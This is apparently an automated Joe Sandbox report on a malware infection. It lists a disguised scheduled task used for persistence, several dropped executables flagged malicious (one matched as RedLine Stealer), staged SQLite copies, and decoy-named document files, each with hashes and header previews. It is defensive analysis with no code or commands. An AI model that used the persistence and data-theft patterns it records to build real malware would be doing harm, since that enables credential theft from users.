Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.5.146, 23.211.4.86, 23.211.6.115 Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, fs.microsoft.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, store-images.s-microsoft.com-c.edgekey.net, storeedgefd.dsx.mp.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, storeedgefd.xbetservices.akadns.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, store-images.s-microsoft.com, displaycatalog.mp.microsoft.com, e16646.dscg.akamaiedge.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, storeedgefd.dsx.mp.microsoft.com Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:18:37	Task Scheduler	Run new task: Firefox Default Browser Agent 3CDA62587ED71AFA path: C:\Users\user\AppData\Roaming\iudbdfd
05:19:01	API Interceptor	1x Sleep call for process: 4D1A.exe modified
05:19:38	API Interceptor	1x Sleep call for process: 8CA5.exe modified
05:19:44	API Interceptor	3x Sleep call for process: 7728.exe modified
05:19:55	API Interceptor	24x Sleep call for process: 110B.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\4D1A.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\110B.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\110B.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\4D1A.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Temp\110B.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	537600
Entropy (8bit):	5.844228336269724
Encrypted:	false
SSDEEP:	12288:b3ByxvLoUurnIRnqhHtIS3O3tC5Xi/d5rpyd+g87n3eJg:bRyxUTIRgIV5
MD5:	CCBCF301B4A4C51FC6AC6108E1A0A702
SHA1:	C2FA44AE73649EF3FE9B3E11AC6DEEF05D967D6A
SHA-256:	C956EAF697229C8388BCAD6757441F826AD947F619EB684DC62F769F87CB8D3C
SHA-512:	F30A6606858401734C50F152D0C766F38DE7AA226DB99613BCDE989CD47F015EF7916B168945984D95C81FAB45D975C384194FD44FA28A44B60400F6817042DA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 60%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x................0..,...........K... ...`....@.. ....................................@.................................@K..K....`............................................................................... ............... ..H............text....+... ...,.................. ..`.rsrc........`......................@....reloc...............2..............@..B................pK......H............<...........W..5............................................(......0..,.......(c...8.....~....u....s....z&8.........8...................................(c...(.......j................................(.....~(....(]...8....(.........8........................................0..............0...................................(......0.....................0..............(....t.A.........t.A...................................................

C:\Users\user\AppData\Local\Temp\325D.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	339456
Entropy (8bit):	6.210575483974104
Encrypted:	false
SSDEEP:	6144:XFOSX78eVzsodTr6rv6acPyCmyD3+KHZc9FOKV:XvX77wo6rv6acPbmyDP5c9x
MD5:	5E0ED8966761E70EE0B8DCD141AAFB4C
SHA1:	933E68212D0F6D029E920BD93E5DCA7CA5BDCB7A
SHA-256:	8BBDDA1786E15A568A573A2F38762E95DE138AF969E0A13B96D7086AAA98BFC2
SHA-512:	D692905DDD5B1EA92ABED7FD38379947A9B453F5AEDEE91C5BE217E1799CC2B03C898FD99828EFA15A58C7811781DB8CBC90F5330640BF9361F60422DF22EB33
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 20%, Browse Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@...@...@.../.L.Q.../.x.*...I.A.C...@......./.y.v.../.H.A.../.O.A...Rich@...........PE..L.....e`..................... .......=............@..........................@..................................................(........b......................$!..p...................................@............................................text...N........................... ..`.data...ho..........................@....pejevu......p.......~..............@....dozi...............................@....rsrc....b.......d..................@..@.reloc...;.......<..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4D1A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.237184840489677
Encrypted:	false
SSDEEP:	6144:XEiNV8ew8pT/JoMWH3KYFsZGpGnjHa3HpRdRgY27:XECx//JoNH3KgsZQGnjWJRdu
MD5:	BABD835D0FE9E63300B037A5AAAA4284
SHA1:	B23D69DA082314A88E5F0EF188F92B60557D056A
SHA-256:	82AC68B07479792AAF1F4AA1BD78154257349BA4057F29752BE2CE05CE3CC1B2
SHA-512:	F9F1F59C656EFEFE7FC3EA4BBC8DCF6D18E7C4AC94EF4749325117F0A1A517FD7D4FCEACC6DB285AE7248B438C805437B5A5A77C240B8E78C83B2BB27FCBB9D7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 40%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@...@...@.../.L.Q.../.x.*...I.A.C...@......./.y.v.../.H.A.../.O.A...Rich@...........PE..L.....`..................... ......PJ............@..........................P.......+......................................l...(........b.......................!..p...................................@............................................text............................... ..`.data...ho..........................@....fig................................@....hilo...............................@....rsrc....b.......d..................@..@.reloc...;.......<..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\56DF.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13952
Entropy (8bit):	6.469641966954252
Encrypted:	false
SSDEEP:	384:znqWlJsIVjdpVQtFm/bTXQSUYqT4IPt5kf:znhJtVj7VUxYFIPAf
MD5:	52406910628C2E8126EF20BFC7E51D0D
SHA1:	3C9DF71CFE2708F40F85B7ECD73BC605ACA9994D
SHA-256:	CE318BC9912CC93FF988917668C4135CAA686F4256EF099DD8852627E8E91C7A
SHA-512:	01B79EC79832DDB486F7A87FD9CBCF521397E9600CA530A33821AC71D566E7115ED7AE59A1095B4AEA4ADFCB3064AEA194835DD44DF9BE420522ED14B4CC7B4C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........$%,.EK..EK..EK......EK......EK......EK..0..EK..EJ..EK......EK......EK......EK.Rich.EK.........................PE..L...7.._......................B...................@..........................`C.....\.......................................<V..<....pB..............................................................R..@...............H............................text...p........................... ..`.rdata..............................@..@.data...`.>..`.......R..............@....wewex..r....`B......h..............@..@.rsrc........pB......l..............@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6FC2DT0R Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7728.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	844800
Entropy (8bit):	7.512590176050023
Encrypted:	false
SSDEEP:	24576:/Xj+AMBIt1mgZYgpeS04FTqSEjOZvT2T:KVBItxZreR8Z2T
MD5:	DBFAEC97A910463B8767B8CEB053CF3C
SHA1:	B9470684EB254871A989D41DA389AAB0159A0DED
SHA-256:	F6CB90F76C5BA8A4482C8405F744103F898B7D1920C569B74FB22DD9BEA7D2A4
SHA-512:	12556CB478ACB96394E06CE462DB008669E62FFA2197A91B7C1C3DF46BD5833177C91C30DF3506285A62E08AC184AB1663004429E19F5CE85DF7C88C88810161
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 44%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@...@...@.../.L.Q.../.x.*...I.A.C...@......./.y.v.../.H.A.../.O.A...Rich@...........PE..L....._.....................&......0.............@..........................PH.............................................L...(....@...b....................H.(!..`...................................@............................................text............................... ..`.data...ho..........................@....huwu........ ......................@....sax.........0.......0..............@....rsrc.....3..@...d...>..............@..@.reloc...@....H..B..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8CA5.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	2207616
Entropy (8bit):	7.974704864370131
Encrypted:	false
SSDEEP:	49152:3C4rV+yASntPTt3o37ySGjHACR/SX08HZ11AGq2dpJ4Wu:yMAmPp4LqB98W92dbG
MD5:	765885E4A5BF2B58911C445E2BA0F7DF
SHA1:	65EDC531C1313DF4ADBFF520B31A998BECBD6760
SHA-256:	654574C360FCB5A7EB4F693D99D5F0C4E32F96B219A7327D41B39D7D5ACDE953
SHA-512:	8AC155DA0B4C4999EB00905DCB3F6E8626438AEB80C000F174030DD9CE2922D922A40DC7E6066F99F371991710E9D911ADBFA20013669767CD793B780BCC0616
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 28%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..............................................................................................................................................................................................PE..L...K..a.................,............K......@....@..........................`M...... "...@..................................pI.T.....I..T...........................................................................................................shared..`I............................`.pdata.......pI.....................@....rsrc....T....I..T..................@..@DATA..........K.G}...\..............@.....................................................................................................................................................................................................................................................................................................................)c.....zEG.z.d{.'.v..6.@'TY=.

C:\Users\user\AppData\Local\Temp\9B5C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	538112
Entropy (8bit):	5.839260930606036
Encrypted:	false
SSDEEP:	12288:i/vGO+99qmdgiwFEMQNJxmYEgqaccLGG5iMHjc/eam:iW1G5IWyfHj2e
MD5:	CF844515328AE2E2F1B4E9879401C7CA
SHA1:	C2328D6EC4DD72F8D298DB5AB4145E7FB2D43575
SHA-256:	3FE128FA6B1779C21D6283F566940788DDE7345E4E91063F5B60D0DCD38C3DA6
SHA-512:	73684CCD9712A7632CDEFAAE000D666B9214701455B4B0211DF2CF07481E0A10BFDA6D45429B39D2BA42BDC79D4F88DFAF9D22CCBDED3BC6C9D9E59B37C20264
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...].%...............0..............M... ...`....@.. ....................................@..................................L..K....`............................................................................... ............... ..H............text...$-... ...................... ..`.rsrc........`.......0..............@....reloc...............4..............@..B.................M......H............B...........Z...............................................(......0..,.......(d...8.....~....u....s....z&8.........8...................................(d...(.......j................................(......(....8....(.........8....(^...8...........................................0..............0...................................(......0.....................0..............(....C.A.........C.A.....................................*.......

C:\Users\user\AppData\Local\Temp\A87C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3624448
Entropy (8bit):	7.9987056079848164
Encrypted:	true
SSDEEP:	98304:4RptfnJsrnI6AqXP9kZ7vrcMTbdYroaZV55uQ:Ip7srnRtXK1vrcMvdYrvZVXV
MD5:	E5BD8A53623522C49CCC35BC492B5A11
SHA1:	E36258FC96F90432C79BE82520EF0B27FDBE9C89
SHA-256:	7CE91A1E9B7DF0D018835EE8483C9E97C9718F9865B53728F958F01C740035AF
SHA-512:	93367FC15F8F24D6EF73A62C37E5CA99AA284C609617FF24EF6EBAC7D4B2AC922D9B1AFF986A7B70D9304D2D637213C14B0F218D67DB79E563ADFB5A130CA358
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...2..a................. ...........@.......@....@...........................U.....a]7.....................................\|<Q. .....O......................<Q.............................................................................................#...........................@...........\|....0......................@................@...x..................@............ ...0.......\|..............@............X...P......................@.............3.......0.................@............ ...`O......T1.............@....rsrc.........O..:...b1.............@....f7uSTEx.....0Q.......2.............@....adata........U......L7.............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BNAGMGSPLO.xlsx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Reputation:	unknown
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\Users\user\AppData\Local\Temp\C26E.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	5.892677990184514
Encrypted:	false
SSDEEP:	1536:9UVr85RhYuBGHDp8j468w4d8WD7u7HXhbYpfwxBRFovsSw00IniD:9UVwfUHD2868tiW0JX5BFsiD
MD5:	1A8620AF98D68F9CADB5916341AD1E71
SHA1:	1A39E1F41E89D552BD1228F7DD79E553A8DBB22E
SHA-256:	F593CD3E0A4AD34D16B48B9CDD344E486B42FBFC5BCA0C25ABB75B6CC03AC2D0
SHA-512:	0824ADE76ADC9C5F6120775CE89D6E3B64D5814683DFFA39ADEAB2A90131A7CF1D3BE0A72546C0AFEEB2FD72A510639A64FC37EF23DEA8BAEB9DBBC9C3B38DE6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\C26E.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...gn................0......0........... ........@.. ....................... ............@.................................h...O.......$+..........................L................................................ ............... ..H............text........ ...................... ..`.rsrc...$+.......,..................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D2NYC2NO Download File
Process:	C:\Users\user\AppData\Local\Temp\4D1A.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EFOYFBOLXA.pdf Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Reputation:	unknown
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\Temp\FCTR1D2D Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.4589421877427324
Encrypted:	false
SSDEEP:	48:T9YBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:2WU+bDoYysX0uhnydVjN9DLjGQLBE3u
MD5:	16B54B80578A453C3615068532495897
SHA1:	03D021364027CDE0E7AE5008940FEB7E07CA293C
SHA-256:	75A16F4B0214A2599ECFBB1F66CAE146B257D11106494858969B19CABCB9B541
SHA-512:	C11979FE1C82B31FDD6457C8C2D157FB4C9DF4FE55457D54104B59F3F880898D82A947049DEB948CA48A5A64A75CFBFC38FDB2E108026EBE7CA9EBE8B1793797
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GAOBCVIQIJ.docx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Reputation:	unknown
